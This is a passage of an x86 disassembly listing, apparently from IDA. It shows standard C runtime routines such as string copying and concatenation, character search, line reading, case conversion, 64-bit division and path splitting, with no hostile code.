		jz	short loc_418C6A
		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1

loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62

loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55

loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84

loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72

loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7

loc_418C8B:				; CODE XREF: sub_418C10+7Fj
					; sub_418C10+F4j
		mov	[edi], al
		inc	edi

loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi

loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50

loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx

loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01

loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax

loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9

loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B

loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A

loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi

loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------

loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h

loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	dword_4CD9B4, 16h
		or	eax, 0FFFFFFFFh

loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx

loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx

loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A

loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB

loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A

loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4

loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------

loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC

loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90

loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83

loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl

loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi

loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C

loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DBp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------

loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi

loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50

loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B

loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68

loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86

loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi

loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------

loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------

loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]

loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------

loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx

loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029

loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0

loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi

loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4CDA48
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE

loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl

loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------

loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4CDA48, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------

loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	dword_433E7C, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------

loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162

loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, off_433C70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------

loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------

loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232

loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------

loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF

loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi

loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi

loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; ___:0040E7A0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------

loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0

loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375

loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4CEF01[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi

loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------

loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0

loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi

loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax

loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax

loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
